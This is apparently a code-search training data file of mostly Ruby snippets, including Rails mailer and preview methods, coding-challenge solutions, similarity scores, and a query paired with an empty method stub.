"def write_about_hand_over_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.write_about_hand_over_mail(Petition.live.first)\n end",
"def preview\n order = current_user.orders.find_by_cookbook_id(params[:id])\n @cookbook = (order) ? order.cookbook : current_cookbook\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_cookbook-#{@cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: @cookbook, \n filename: preview_path\n )\n preview.cookbook\n render \"previews/preview\"\n end",
"def preview=(value)\n @preview = value\n end",
"def preview_path_for_attachment(attachment)\n preview_attachment_path(id: attachment.attachment_data.id, file: attachment.filename.split('.').first, extension: attachment.file_extension)\n end",
"def preview(attachment, options)\n Rails.application.routes.url_helpers.rails_representation_path(attachment.preview(options), only_path: true)\n end",
"def preview_doc\n @tpl = Template.find(params[\"template_id\"]) \n output = @tpl.render_by_model_id(params[:id], 'print', 'www.freightoperations.com:8080')\n render(:text => output, :layout => false) \n end",
"def preview\n frm.button(:value=>\"Preview\").click\n @@file_number=0\n AssignmentStudentPreview.new(@browser)\n end",
"def preview\n frm.button(:value=>\"Preview\").click\n @@file_number=0\n AssignmentStudentPreview.new(@browser)\n end",
"def last_message_preview\n return @last_message_preview\n end",
"def preview\n @preview ||= Preview.new(self) #if has_preview?\n end",
"def tweet_reviewed_by_influencer(tweet)\n @tweet = tweet\n\n set_attachments\n\n mail(to: tweet.campaign.advertiser.user.email, subject: \"Notificaciones @ Social Target - Uno de tus tweets fue revisado/modificado por una empresa\")\n end",
"def body_preview=(value)\n @body_preview = value\n end",
"def preview\n content[0..19]\n end",
"def view(review, recipient)\n @review = review\n\n mail(to: recipient.email, subject: \"#{@review.review_type == \"cto\" ? @review.booking.user.first_name : @review.booking.offer.user.first_name} vous a laissé un commentaire\")\n end",
"def new_review_email (review)\n\t@book = review.book\n\t@review = review\n\tmail :to => @book.readers.collect{|r| r.email},\n\t :subject=>\"New review for #{@book.title}\"\n end",
"def preview(element_key)\n parameter = { basic_auth: @auth }\n self.class.get(\"/elements/#{element_key}/preview\", parameter)\n end",
"def open\n mail = MailTasks::Mail.find_by_token( params[:id] )\n raise ActiveRecord::RecordNotFound unless mail # raise 404 if mail is not found\n \n options = {\n :post_back_url => url_for( :controller => \"/email\", :action => \"red_logo\" ),\n :base => [request.protocol, request.host].join\n }\n render :text => mail.content_with_layout( options ), :layout => false\n end",
"def emailOnMetareview(revieweeId)\r\n puts \"in Metareview\"\r\n participant = Participant.find_by_id(revieweeId).user_id\r\n asstId = Participant.find_by_id(revieweeId).parent_id\r\n user=User.find_by_id(participant)\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_review_of_review\"\r\n if(user.email_on_review_of_review)\r\n email(user.email,\"Metareview\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end",
"def body_preview\n return @body_preview\n end",
"def preview(*)\n nil\n end",
"def preview(*)\n nil\n end",
"def preview\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_extra_page-#{@extra_page.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.extra_page @extra_page.id\n render \"previews/preview\"\n end",
"def reference_number_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.reference_number_mail(Petition.live.first)\n end",
"def ask_office_for_answer_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.ask_office_for_answer_mail(Petition.live.first)\n end",
"def show\n set_retail\n end",
"def preview_name\n name.sub(/Preview$/, '').underscore\n end",
"def preview\n mixpanel_tab_event(\"View Item\", \"Get Preview URL\")\n begin\n embed_url = user_client.embed_url(params[:id])\n redirect_to embed_url\n rescue\n redirect_to no_support_url\n end\n\n end",
"def blog_preview\n object._challenge\n end",
"def show\n session[:applicant_token] = params[:id] unless current_user\n @email = ERB.new(Settings.email_template).result(get_binding)\n p EMAIL: @email\n end",
"def ping_reviewer(review)\n\n to_list = [review[:user].email]\n cc_list = []\n subject = 'Your unresolved Design Review(s)'\n\n @user = review[:user]\n @result = review[:results]\n \n if review[:urgent]\n attachments.inline['warning.png'] = File.read('app/assets/images/warning.png')\n headers['Importance'] = 'high'\n headers['X-Priority'] = '1'\n headers['X-MSMail-Priority'] = 'High'\n end\n\n mail( :to => to_list,\n :subject => subject,\n :cc => cc_list,\n ) \n end",
"def preview_text(maxlength = 30)\n return \"\" if description.blank?\n my_contents = description[\"contents\"]\n return \"\" if my_contents.blank?\n content_flagged_as_preview = my_contents.select { |a| a[\"take_me_for_preview\"] }.first\n if content_flagged_as_preview.blank?\n content_to_take_as_preview = my_contents.first\n else\n content_to_take_as_preview = content_flagged_as_preview\n end\n preview_content = self.contents.select { |content| content.name == content_to_take_as_preview[\"name\"] }.first\n return \"\" if preview_content.blank? || preview_content.essence.blank?\n text = preview_content.essence.preview_text(maxlength)\n text.size > maxlength ? \"#{text[0..maxlength]}...\" : text\n end",
"def link_to_preview(text, type_id, *args)\n link_to_function text, \"CCPEVE.showPreview(#{type_id.inspect})\", *args\n end",
"def preview_text=(value)\n @preview_text = value\n end",
"def preview_text=(value)\n @preview_text = value\n end",
"def resume_confirm(email, username, filename)\n subject 'You have uploaded your resume to YouIntern'\n recipients email\n from 'support@youintern.com'\n sent_on Time.now\n \n body :username => username, :filename => filename\n end",
"def preview_text(max_length = 30)\n attachment&.name.to_s[0..max_length - 1]\n end",
"def display_resume\n\t profile_resume = Profile.find_by_id(params[:id]).resume\n send_data(profile_resume.attachment_binary.data,\n\t\t\t\t :filename => profile_resume.name,\n\t\t\t\t :type => profile_resume.content_type,\n\t\t\t\t :disposition => \"attachment\"\n\t\t\t\t )\n end",
"def generate_complete_timeline_preview_url(given_timeline_id)\n tl_entry_to_use = Timeline.find(given_timeline_id)\n target_page_path = timeline_path(tl_entry_to_use)\n \n protocol_host_port = \"#{request.protocol}#{request.host_with_port}\"\n main_url = \"#{protocol_host_port}#{target_page_path}?preview=true\"\n \n url_to_return = URI::encode(main_url)\n return url_to_return\n end",
"def preview(article)\n unless article.published_at.nil?\n article_path(article)\n else\n preview_path(article.preview_hash)\n end\n end",
"def post_edit_email\n NotificationMailer.post_edit_email('default@email.com')\n end",
"def reviewed(inquiry)\n @inquiry = inquiry\n mail to: inquiry.email, subject: 'Verteo Biopharma Inquiry Reviewed'\n end",
"def update\n @mail = Mail.find(params[:id]) \n if !@mail.update_attributes(params[:mail]) || params[:preview_button]\n \n render :action => \"edit\"\n else\n flash[:notice] = 'Mail was successfully updated.'\n redirect_to(@mail)\n end\n end",
"def to_s\n \"Last Modified: #{@modifiedAt}\\nStatus: #{@status}\\nAssigned to: #{@owner}\\nSubject: #{@subject}\\n#{@preview}\"\n end",
"def show\n #TRACKER.track(current_user['email'], \"READ_EMAIL\", {\"email_id\" => @email.id, \"email_reference\" => @email.reference_id})\n TRACKER.track(current_user['email'], \"READ_EMAIL\", @email.id, @email.reference_id)\n end",
"def preview!(purchase)\n post(purchase, \"#{collection_path}/preview\")\n end",
"def preview!(purchase)\n post(purchase, \"#{collection_path}/preview\")\n end",
"def preview\n begin\n page = Comatose::Page.new(params[:page])\n page.author = current_user\n if params.has_key? :version\n content = page.to_html( {'params'=>params.stringify_keys, 'version'=>params[:version]} )\n else\n content = page.to_html( {'params'=>params.stringify_keys} )\n end\n rescue SyntaxError\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '<')}</pre></p>\"\n rescue\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '<')}</pre></p>\"\n end\n render :text=>content, :layout => false\n end",
"def show\n # notification_email\n end",
"def preview\n self.content.split(' ')[0...5].join(' ') + '...'\n end",
"def apply(interviewee,interviewer)\n @interviewee = interviewee\n @interviewer = interviewer\n mail(to: @interviewee.email + \",\" + @interviewer.email, subject: '面接日程承認のお知らせ')\n end",
"def to_s\n '#<Twilio::REST::Preview>'\n end",
"def to_s\n '#<Twilio::REST::Preview>'\n end",
"def email_approved_proposal\n ProposalMailer.email_approved_proposal\n end",
"def preview_submit\n @story = Story.find(params[:submission])\n @story_slam_preview = true # to hide/show certain things in the header\n end",
"def set_preview\n @preview = Preview.find(params[:id])\n end",
"def preview_msg(msg_params_with_name)\n uri = 'cgi-bin/operate_appmsg?sub=preview&t=ajax-appmsg-preview'\\\n \"&type=10&token=#{@token}&lang=zh_CN\"\n headers = {\n referer: 'https://mp.weixin.qq.com/cgi-bin/appmsg?t=media/appmsg_edit'\\\n \"&action=edit&type=10&isMul=0&isNew=1&lang=zh_CN&token=#{@token}\",\n host: 'mp.weixin.qq.com',\n x_requested_with: 'XMLHttpRequest'\n }\n resource = RestClient::Resource.new(@home_url, headers: headers, cookies: @cookies)\n\n res = resource[uri].post msg_params_with_name\n # \"ret\":\"0\", \"msg\":\"preview send success!\", \"appMsgId\":\"201796045\", \"fakeid\":\"\"\n JSON.parse res.to_s\n end",
"def review_posted(email,permalink) \n @service_permalink = permalink \n subject = \"A review was posted for your service\"\n setup_email(email, subject)\n end",
"def preview_cover\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_cover-#{current_cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.cover\n render \"previews/preview\"\n end",
"def emailOnReview(revieweeId)\r\n puts \"we are in email on review\"\r\n @team_member = TeamsUser.find_all_by_team_id(revieweeId)\r\n asstId = Team.find_by_id(revieweeId).parent_id\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_review\"\r\n @team_member.each do |team_Member|\r\n # get parameters for sending mail\r\n user=User.find_by_id(team_Member.user_id)\r\n puts \"teammate name = #(user.name)\"\r\n if(user.email_on_review)\r\n email(user.email,\"Review\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end\r\n end",
"def preview_edit\n\n layout_style = nil\n if (params[:layout])\n layout_style = params[:layout]\n end\n\n\n begin\n @bulletin = Bulletin.find(params[:id])\n @bulletin_layout = @bulletin.layout_for_editing(layout_style, self)\n headers[\"Content-Type\"] = @bulletin_layout.filetype + \"; charset=\" + @bulletin_layout.charset\n render :text => @bulletin_layout.rendered, :layout => 'bulletin'\n return\n rescue SyntaxError\n @error = _('A fatal error has occurred while compiling the temlpate!') + \n '<br /><br />ERROR: '+$!\n end\n render :action => 'error', :layout => 'bulletin'\n end"
] |
[
"0.71475905",
"0.71186084",
"0.70552814",
"0.6985626",
"0.6848472",
"0.6848472",
"0.6832406",
"0.6663229",
"0.64324814",
"0.631654",
"0.6304366",
"0.6181875",
"0.6167911",
"0.61338973",
"0.61305445",
"0.6115152",
"0.61100966",
"0.61100966",
"0.60882556",
"0.60132533",
"0.5982547",
"0.5970752",
"0.5921947",
"0.5854165",
"0.58256847",
"0.58256847",
"0.5801412",
"0.5798907",
"0.57861274",
"0.5756108",
"0.57435614",
"0.57311475",
"0.5694853",
"0.5693586",
"0.56733876",
"0.56689703",
"0.5667859",
"0.56230783",
"0.5584482",
"0.5580056",
"0.556691",
"0.5565034",
"0.553256",
"0.55282027",
"0.5521174",
"0.55182135",
"0.54865557",
"0.54802716",
"0.54802716",
"0.5475045",
"0.54698133",
"0.5462231",
"0.54592174",
"0.5457588",
"0.54561025",
"0.5434102",
"0.54326165",
"0.5418592",
"0.5416024",
"0.5406969",
"0.5398783",
"0.5398783",
"0.5390498",
"0.53865004",
"0.53677875",
"0.5354904",
"0.53483963",
"0.53450906",
"0.53428084",
"0.5339015",
"0.5331245",
"0.5324016",
"0.5320464",
"0.52986485",
"0.52971554",
"0.52956325",
"0.52885884",
"0.52866477",
"0.52858466",
"0.52848935",
"0.5274558",
"0.52651525",
"0.5261375",
"0.5255958",
"0.52543974",
"0.52372897",
"0.52372897",
"0.5235101",
"0.522828",
"0.5226132",
"0.5213765",
"0.52118236",
"0.52118236",
"0.52064675",
"0.5192629",
"0.5186882",
"0.5167913",
"0.51622766",
"0.5158241",
"0.515572",
"0.5152641"
] |
0.0
|
-1
|
I worked on this challenge by myself. Your Solution Below
|
def do_something(something, something_else, another_thing)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def solution4(input)\n end",
"def challenge; end",
"def solution(s, p, q)\r\n # write your code in Ruby 2.2\r\n # A -1\r\n # C -2\r\n # G -3\r\n # T -4\r\n # s - string with n charactekrs\r\n #cagccta\r\n #0123345\r\n #p,q - not empty arrays\r\n #\r\n #p[0]=2 q[0]=4 gcc 322 => 2\r\n #p[1]=5 q[1]=5 t 4 => 4\r\n \r\n \r\n arr = Array.new(q.count)\r\n \r\n \r\n\r\n \r\n arr.each_with_index{|el, i|\r\n \r\n ss = s[p[i]..q[i]]\r\n \r\n if ss.index('A') \r\n n = 1\r\n elsif ss.index('C')\r\n n=2\r\n elsif ss.index('G')\r\n n=3\r\n else \r\n n=4\r\n end\r\n \r\n arr[i] = n\r\n \r\n }\r\n \r\n \r\n \r\n arr\r\n \r\nend",
"def solution(s, p, q)\n # write your code in Ruby 2.2\n g = s.length + 1\n a = (s.length + 1)**3\n c = (s.length + 1)**2\n tmp = []\n res = []\n tmp.push 0\n o = 0\n s.split('').each do |i|\n o += if i == 'T'\n 1\n elsif i == 'G'\n g\n elsif i == 'C'\n c\n else\n a\nend\n tmp.push o\n end\n (0...p.length).each do |k|\n o = tmp[q[k] + 1] - tmp[p[k]]\n if o >= a\n res.push 1\n elsif o >= c\n res.push 2\n elsif o >= g\n res.push 3\n else\n res.push 4\n end\n end\n res\nend",
"def alg; end",
"def recursive_solution\n\n end",
"def solution(a)\n # write your code in Ruby 2.2\n binding.pry\n trips = Hash.new {|h,k| h[k]=0}\n start = 0\n ending = 0\n min = nil\n a.each_with_index do |trip,i|\n ending = i\n\n if trips[trip] == 0\n min = ending - start\n end\n trips[trip] += 1\n\n while start < ending\n break if trips[a[start]] - 1 == 0\n trips[start] -= 1\n start += 1\n min = ending - start if ending-start < min\n end\n end\n min\nend",
"def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend",
"def solution(a)\r\n # write your code in Ruby 2.2\r\n #trangular\r\n # a[0] = 10\r\n # a[2] = 5\r\n # a[4] = 8\r\n # 10 + 5 > 8\r\n # 5 + 8 > 10\r\n #8 + 10 > 5\r\n \r\n \r\n l=a.count\r\n \r\n i=0\r\n while(i<l) do\r\n j=i+1\r\n while(j<l) do\r\n k=j+1\r\n \r\n \r\n while(k<l) do\r\n if((a[i] + a[j] > a[k]) && (a[j] +a[k] > a[i]) && (a[k] + a[i] >a[j]))\r\n return 1\r\n end\r\n k+=1 \r\n end \r\n \r\n j+=1 \r\n end\r\n i+=1\r\n end\r\n \r\n return 0\r\n \r\nend",
"def solution(a)\n number = a.to_s.chars\n first_arrays = []\n (number.length/2).times do\n first_arrays << number.shift\n first_arrays << number.rotate(number.length-1).shift\n number.pop\n end\n ( first_arrays + number ).join(\"\").to_i\nend",
"def input_string\n result = \"73167176531330624919225119674426574742355349194934\"\n result += \"96983520312774506326239578318016984801869478851843\"\n result += \"85861560789112949495459501737958331952853208805511\"\n result += \"12540698747158523863050715693290963295227443043557\"\n result += \"66896648950445244523161731856403098711121722383113\"\n result += \"62229893423380308135336276614282806444486645238749\"\n result += \"30358907296290491560440772390713810515859307960866\"\n result += \"70172427121883998797908792274921901699720888093776\"\n result += \"65727333001053367881220235421809751254540594752243\"\n result += \"52584907711670556013604839586446706324415722155397\"\n result += \"53697817977846174064955149290862569321978468622482\"\n result += \"83972241375657056057490261407972968652414535100474\"\n result += \"82166370484403199890008895243450658541227588666881\"\n result += \"16427171479924442928230863465674813919123162824586\"\n result += \"17866458359124566529476545682848912883142607690042\"\n result += \"24219022671055626321111109370544217506941658960408\"\n result += \"07198403850962455444362981230987879927244284909188\"\n result += \"84580156166097919133875499200524063689912560717606\"\n result += \"05886116467109405077541002256983155200055935729725\"\n result += \"71636269561882670428252483600823257530420752963450\"\n\n result\nend",
"def solution(a)\n # write your code in Ruby 2.2\n \n is_perm = 0\n \n n = a.length\n b = [0]*n\n \n \n a.each do |v|\n break if v > n \n break if b[v] == 1 \n b[v] = 1\n end\n \n sum = b.inject(:+)\n if sum == n\n is_perm = 1\n end\n \n is_perm\nend",
"def decodeHalfway(input)\n sum = 0\n\n # Only have to loop through half the array since the numbers are being compared halfway around\n # Multiply each matching character by 2 to compensate for not looping through its pair\n input.chars[0..input.length/2 - 1].each_with_index do |char, i|\n sum += 2*char.to_i if char == input[i + input.length/2]\n end\n sum\nend",
"def icecreamParlor(m, arr)\n # Complete this function\n res = []\n arr.each_index do |i|\n if i + 1 !=nil\n j = i + 1\n while j <= arr.length - 1\n if arr[i]+arr[j] == m\n res.push([i+1,j+1])\n end\n j+=1\n end\n end\n end\n res\nend",
"def isLucky(n)\r\nhalf1 = []\r\nhalf2 = []\r\nn_string = n.to_s\r\n\r\n\r\nfirsthalf = (n_string.length / 2) - 1\r\nsecondhalfstart = (n_string.length / 2)\r\nsecondhalfend = (n_string.length - 1)\r\n(0..firsthalf).each do |idx|\r\n half1 << n_string[idx].to_i\r\nend\r\n\r\n(secondhalfstart..secondhalfend).each do |idx|\r\n half2 << n_string[idx].to_i\r\nend\r\n\r\nreturn true if half1.inject(:+) == half2.inject(:+)\r\nreturn false\r\nend",
"def is_happy(n)\n i = 0\n r = false\n destination = []\n while r == false\n n.to_s.split(\"\").each do |x|\n destination << ((x.to_i * x.to_i))\n end\n i = i + 1\n n = destination.inject(&:+)\n r = true if n == 1\n destination = []\n break if i == 1000\n end\n if r == true\n p r\n else\n p false\n end\nend",
"def solution(n)\n # write your code in Ruby 2.2\n a = n.to_s(2)\n arr = []\n if a[-1] == '1'\n arr = a.split('1')\n else\n arr = a.split('1')\n arr.pop\n end\n if arr.max.nil?\n 0\n else\n arr.max.length\n end\nend",
"def solution(a)\r\n a.each do |num|\r\n if (a.count(num) % 2) != 0\r\n return num\r\n end\r\n end\r\nend",
"def solution(a)\n # write your code in Ruby 2.2\n permutation = Array(1..a.size)\n # puts permutation\n return 1 if permutation - a == []\n 0\nend",
"def solve(input)\n data = input.chars\n buckets = []\n current = []\n data.each_with_index do |c, i|\n n = data[i + 1]\n current << c\n unless n == c\n buckets << current\n current = []\n end\n break if n.nil?\n end\n\n ret = ''\n buckets.each do |b|\n ret += b.count.to_s\n ret += b.first\n end\n ret\nend",
"def problem_76a\n num = 100\n solve = lambda do |a,off,max|\n n = 0\n while a[off] < max && (a.length-off) >= 2 \n a[off] += a.pop\n n += 1\n n += solve.call(a.dup,off+1,a[off]) if a.length - off > 1\n end\n n\n end\n puts 1 + solve.call([1] * num, 0,num-1)\nend",
"def solution(number)\nn = 0..number\na = []\nfor i in n\n if i % 3 == 0 || i % 5 == 0\n a = a.push(i)\n end\n end\ns = 0\n# a.pop\na.each {|x| s += x}\ns\nend",
"def solution\n (1..40).inject(:*) / (1..20).inject(:*)**2\nend",
"def solution\n (2..(9**5 * 6)).select do |n|\n n.to_s.split(//).map do |d|\n d.to_i ** 5\n end.reduce(:+) == n\n end.reduce(:+)\nend",
"def solution1(seeds)\n turn_map = {}\n seeds.each_with_index { |n, turn| turn_map[n] = [1, turn + 1, turn + 1] }\n last_number = seeds.last\n\n ((seeds.length+1)..2020).each do |turn|\n last_stats = turn_map[last_number]\n if last_stats[TIMES_SPOKEN] == 1\n zero = turn_map[0] || [0, turn, turn]\n zero[TIMES_SPOKEN] += 1\n zero[FIRST_SPOKEN] = zero[LAST_SPOKEN]\n zero[LAST_SPOKEN] = turn\n \n turn_map[0] = zero\n last_number = 0\n else\n age = last_stats[LAST_SPOKEN] - last_stats[FIRST_SPOKEN]\n\n num = turn_map[age] || [0, turn, turn]\n num[TIMES_SPOKEN] += 1\n num[FIRST_SPOKEN] = num[LAST_SPOKEN]\n num[LAST_SPOKEN] = turn\n \n turn_map[age] = num\n last_number = age\n end\n end\n\n last_number\nend",
"def part2(program)\n special = 19690720\n (0..99).to_a.repeated_permutation(2).each do |noun, verb|\n input = program.dup\n input[1] = noun\n input[2] = verb\n\n output = run(input)\n puts \"noun = #{noun}, verb = #{verb}, output = #{output[0]}\"\n if output[0] == special\n return [noun, verb]\n end\n end\n puts \"fuck\"\n return [-1, -1]\nend",
"def correct(element)\n result = nil\n element.downto(0).each do |j|\n i = element - j\n if j == element && j % 3 == 0\n result = Array.new(j, 5)\n elsif i % 5 == 0 && j % 3 == 0\n result = Array.new(j, 5) + Array.new(i, 3)\n elsif i == element && i % 5 == 0\n result = Array.new(i, 3)\n end\n\n break if result\n end\n\n if result.nil?\n puts -1\n else\n puts result.join()\n end\nend",
"def solution(n)\n n.to_s.split(//).inject(1) { |a,d| a + d.to_i }\nend",
"def solution(a)\n # write your code in Ruby 2.2\n n = a.length\n \n counter = Array.new(n+1, 0)\n \n a.each do |x|\n counter[x-1] += 1\n end\n \n return counter.index { |x| x == 0 } + 1\nend",
"def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend",
"def solution(a)\n length = a.length\n sum = (length + 1) * (length + 1 + 1) / 2\n\n sum - a.inject(0) { |acc, e| acc += e }\nend",
"def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend",
"def solutions(a)\r\n\r\n ary = a.sort\r\n ary.each_with_index do |num, index|\r\n if ary[index+1] != num + 1 && index != ary.length-1\r\n return num + 1\r\n end\r\n end\r\n\r\nend",
"def problem18(r) \n h = r.length\n sum = 0\n for i in 0..h-1 \n \n end\nend",
"def problem_57\n ret,n,d = 0,1,1\n 1000.times do |i|\n n,d = (n+2*d),(n+d)\n ret += 1 if n.to_s.length > d.to_s.length\n end\n ret\nend",
"def f(n)\n # your code here\n result = []\n possibles = (2..n).flat_map{ |s| [*2..n].combination(s).map(&:join).to_a }\n p possibles\n possibles.each do |i|\n x = 0\n temp_arr = []\n temp = i.split('').map { |j| j.to_i }\n p temp\n while x < temp.length do \n if i[x + 1] != i[x] + 1 || i[x + 1] == nil\n temp_arr << i[x]\n end\n x += 1\n end\n result << temp_arr\n end\n result.length\nend",
"def goodVsEvil(good, evil)\n # good_power, evil_power = 0, 0\n # good.split.each_with_index do |num, i|\n # if i < 3\n # good_power += num.to_i * (i + 1)\n # elsif i < 5\n # good_power += num.to_i * i\n # elsif i == 5\n # good_power += num.to_i * 2 * i\n # end\n # end\n god = good.split.each_with_index.inject(0) do |sum, (num, i)|\n if i < 3\n sum + num.to_i * (i + 1)\n elsif i < 5\n sum + num.to_i * i\n elsif i == 5\n sum + num.to_i * 2 * i\n end\n end\n \n \n evl = evil.split.each_with_index.inject(0) do |sum, (num, i)|\n case i\n when 0\n sum + num.to_i * (i + 1)\n when 1, 2, 3\n sum + num.to_i * 2\n when 4\n sum + num.to_i * (i - 1)\n when 5\n sum + num.to_i * i\n when 6\n sum + num.to_i * (i + 4) \n end\n end\n \n if evl > god\n str = \"Evil eradicates all trace of Good\"\n elsif evl < god\n str = \"Good triumphs over Evil\"\n else\n str = \"No victor on this battle field\"\n end\n \n \"Battle Result: #{str}\"\nend",
"def exercise_1113 (matrix)\n end",
"def solution(a)\n cars_going_east = [0]\n\n a.each do |direction|\n next_counter = direction.zero? ? cars_going_east.last + 1 : cars_going_east.last\n cars_going_east << next_counter\n end\n\n passings = 0\n a.each_with_index do |direction, index|\n passings += cars_going_east[index] if direction == 1\n end\n\n return -1 if passings > 1000000000\n passings\nend",
"def solve( n = 16 )\n max = 0\n \n (1..10).each do |a|\n (1..10).each do |b|\n next if b == a\n (1..10).each do |c|\n next if c == b || c == a\n (1..10).each do |d|\n next if d == c || d == b || d == a\n (1..10).each do |e|\n next if e == d || e == c || e == b || e == a\n\n rotate = 3*[a, b, c, d, e].each_with_index.min[1]\n (1..10).each do |f|\n next if f == e || f == d || f == c || f == b || f == a\n (1..10).each do |g|\n next if g == f || g == e || g == d || g == c || g == b || g == a\n \n t = a + f + g\n (1..10).each do |h|\n next if h == g || h == f || h == e || h == d || h == c || h == b || h == a\n next unless t == b + g + h\n\n (1..10).each do |i|\n next if i == h || i == g || i == f || i == e || i == d || i == c || i == b || i == a\n next unless t == c + h + i\n\n (1..10).each do |j|\n next if j == i || j == h || j == g || j == f || j == e || j == d || j == c || j == b || j == a\n next unless t == d + i + j && t == e + j + f\n\n s = [a, f, g, b, g, h, c, h, i, d, i, j, e, j, f]\n rotate.times {s.push s.shift}\n\n s = s.join\n next if n != s.length\n\n max = [max, s.to_i].max\n end\n end\n end\n end\n end\n end\n end\n end\n end\n end\n\n max\n end",
"def solution(k, a)\n count = 0\n current = 0\n a.each { |length| \n current += length\n if current >= k\n current = 0\n count += 1\n end\n }\n count\nend",
"def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend",
"def main\n max = 10 ** 9 + 7\n all = 1\n zero = 1\n nine = 1\n zn = 1\n N.times.each do\n all = all * 10 % max\n zero = zero * 9 % max\n nine = nine * 9 % max\n zn = zn * 8 % max\n end\n return (all - zero - nine + zn) % max\nend",
"def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend",
"def captcha(input)\n sum = 0\n 0.upto(input.length - 1) do |i|\n sum += input[i].to_i if input[i] == input[(i+1) % input.length]\n end\n sum\nend",
"def solution(a)\n # write your code in Ruby 2.2\n num_of_elements=a.length\n num_of_zeros=0\n tot_num_car_pairs=0\n a.each do |element|\n if element == 0\n num_of_zeros+=1\n else\n tot_num_car_pairs+=num_of_zeros\n end\n end\n return tot_num_car_pairs>1_000_000_000?-1:tot_num_car_pairs\nend",
"def solution\n 971 * (-61)\nend",
"def compute\n perimeter = 1000\n (1..(perimeter+ 1)).each do |a|\n ((a + 1)..(perimeter + 1)).each do |b|\n c = perimeter - a - b\n return (a * b * c).to_s if (a * a + b * b == c * c)\n end\n end\nend",
"def formingMagicSquare(s)\r\n out = 100\r\n for i in 0...8 do\r\n cost = 0\r\n for j in 0...3 do\r\n for k in 0...3 do\r\n cost += ($magic_square[i][j][k] - s[j][k]).abs\r\n end\r\n end\r\n puts cost\r\n out = [out, cost].min\r\n end \r\n out\r\nend",
"def solution(a, b)\n if a.length > b.length\n return (b + a + b).to_s\n else\n return (a + b + a).to_s\n end\nend",
"def dominant_octopus(fish)\n #sorted = []\n return fish if fish.length < 2\n pivot = fish.first\n left = fish[1..-1].select { |feesh| feesh.length <= pivot.length }\n #p left\n right = fish[1..-1].select { |feesh| feesh.length > pivot.length }\n\n dominant_octopus(left) + [pivot] + dominant_octopus(right)\n \n\n\nend",
"def solve(str)\n idx = 0\n count = 0\n\n substr_1 = ''\n substr_2 = ''\n\n loop do\n substr_1 = str[0..idx]\n substr_2 = str[(idx + 1)..-1]\n\n substr_1.to_i.odd? ? count += 1 : nil \n substr_2.to_i.odd? ? count += 1 : nil \n \n idx += 1\n break if idx >= str.length\n end\n count\nend",
"def solve(s)\n answer = \"\"\n arr = s.split('')\n hash = Hash.new(0)\n arr.each_with_index do |el, idx|\n if el.to_i >= 1\n if arr[idx + 1] == \"(\"\n el.to_i.times do \n if arr[idx + 2].to_i >= 1\n if arr[idx + 3] == \"(\"\n arr[idx + 2].to_i.times do \n answer += (arr[(idx + 4)...arr.index(\")\")].join(''))\n end\n end\n end\n answer += (arr[(idx + 2)...arr.index(\")\")].join(''))\n end\n \n # hash[arr[idx + 1]] += 1\n end\n end\n \n end\n return answer\nend",
"def solution(number)\n sum = 0\n Array(1..number-1).each do |i|\n if i % 3 == 0 || i % 5 == 0\n sum += i\n end\n end\n sum\nend",
"def solution(a)\n # write your code in Ruby 2.2\n counts = {}\n missing = -1\n\n a.each do |a_i|\n counts[a_i] = counts[a_i].to_i + 1\n end\n\n (1..a.length).each do |i|\n if(counts[i].nil?)\n missing = i\n break\n end\n end\n\n if(missing == -1)\n missing = a.length + 1\n end\n\n missing\nend",
"def pzoe\n sum = 0\n (0..9).each do |a|\n (0..9).each do |b|\n (0..9).each do |c|\n (0..9).each do |e|\n (0..9).each do |f|\n (0..9).each do |g|\n sum += a * 100000 + b * 10000 + c * 1000 + e * 100 + f * 10 + g if a * 100000 + b * 10000 + c * 1000 + e * 100 + f * 10 + g == a ** 5 + b ** 5 + c ** 5 + e ** 5 + f ** 5 + g ** 5\n end\n end\n end\n end\n end\n end\n sum - 1\nend",
